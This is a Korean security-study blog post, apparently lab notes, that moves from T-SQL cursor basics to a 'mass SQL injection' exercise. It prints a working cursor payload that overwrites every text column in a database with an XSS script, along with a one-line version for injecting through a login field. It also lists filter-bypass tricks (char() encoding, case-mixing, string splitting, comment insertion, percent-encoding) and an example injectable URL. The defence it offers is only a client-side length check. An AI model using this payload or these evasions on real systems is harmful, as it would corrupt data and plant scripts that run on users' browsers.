Mass SQL Injection (대량의 SQL 공격)
T-SQL (트랜잭션 SQL)
declare @dw int; --선언을 의미 변수 앞에 @를 붙인다.
set @dw = datepart(dw,getdate()); --dw변수에 datepart함수 결과를 담아라
if @dw = 7 or @dw = 1 --만약 dw가 7이거나 1이면
begin --괄호시작 같은 개념
select 'weekend';
end --괄호 끝 같은 개념
else
begin
select 'weekday';
end
declare @cnt int
set @cnt = 0
while @cnt < 10 --반복문시작
begin
print @cnt --select대신 print도 가능
set @cnt = @cnt + 1
end
declare @id varchar(20) --변수선언
declare @pw varchar(20) --변수선언
declare cur cursor for select user_id, user_pw from member --cursor은 동적할당과 비슷한 개념
open cur --corsor은 열어야한다.
fetch next from cur into @id,@pw --다음커서로 이동해서 id와 pw를 각각 변수에 담는다
while @@fetch_status = 0 --환경변수 성공했는지여부(에러가 나지 않는 동안)
begin
select @id, @pw
fetch next from cur into @id,@pw --다음 cur를 가지고와서 id,pw변수에 각각 담는다.
end
close cur --동적할당 닫아줌
deallocate cur --동적할당 해제
Mass SQL Injection 실습
declare @table varchar(1000) --커서를 통해 table 내용을 받을 변수
declare @column varchar(1000) --커서를 통해 column 내용을 받을 변수
declare cur cursor for select table_name, column_name from information_schema.columns
where data_type like '%varchar%' or data_type like '%text%'
--information_schema.columns테이블에서 data type이 varchar 이거나 text인 table_name과 column_name을 뽑아와서 커서에 담는다.
open cur --커서오픈
fetch next from cur into @table, @column
--커서의 내용을 table변수와 column변수에 각각 담는다.
while @@fetch_status = 0
--반복
begin
exec('update ' + @table + ' set ' + @column + '=''<script>alert("xss");</script>''')
--뽑아온 테이블에 해당하는 컬럼의 값에 <script>alert("xss");</script>를 삽입한다.
fetch next from cur into @table,@column --커서의 다음내용을 table과 column변수에 받아온다.
end
close cur --커서 닫기
deallocate cur --커서 동적할당 해제
pt69'declare @table varchar(1000) declare @column varchar(1000) declare cur cursor for select table_name, column_name from information_schema.columns where data_type like '%varchar%' or data_type like '%text%' open cur fetch next from cur into @table, @column while @@fetch_status = 0 begin exec('update ' + @table + ' set ' + @column + '=''<script>alert("xss");</script>''') fetch next from cur into @table,@column end close cur deallocate cur--
공격코드를 한줄로 나열하여 위와 같이 입력해준다.
' 안쓰고 abc출력하기
select char(97)+char(98)+char(99)--
필터링 해야할 것
exec //sql문법에의해 무조건 실행이 됨
ex) exec '1+2' 이건 3이 된다. exec '@n=3' -> '@n' + char(=) +‘3' 이 된다.
exEc 우회가 가능하다.
막는 방법은 사용자 입력을 복사해서 전부 대문자로 바꾸거나 소문자로 바꾸어보면 된다.
split
ex)막지 않으면 exec 'sel'+'ect' -> select 이러한 조합을 만들어 낼 수 있다.
URL
http://IP/member/login_check.asp?id=pt69' and substring()--&pw=pttest
id=pt69 ' // 이부분을 pt69%xx 로 인잭션하여 방화벽을 통과할 수 도 있다.
sub%string // %가 이런식으로 들어가면 %가 무시되어 substring이 이어진다.
sel/**/ect -> select
ASP 기준
방어방법
<%
id = request("user_id")
if len(id) >= 10 then
%>
<script language=javascript>
alert("아이디 10글자 이상“);
history.back();
</script>
'정보보안 > Web' 카테고리의 다른 글
Upload 취약점, Webshell (516) | 2020.07.15 |
---|---|
Directory Listing (743) | 2020.07.15 |
Stored Procesure,CMD shell (735) | 2020.07.15 |
Blind SQL Injection (722) | 2020.07.15 |
내장 SQL 활용 (752) | 2020.07.15 |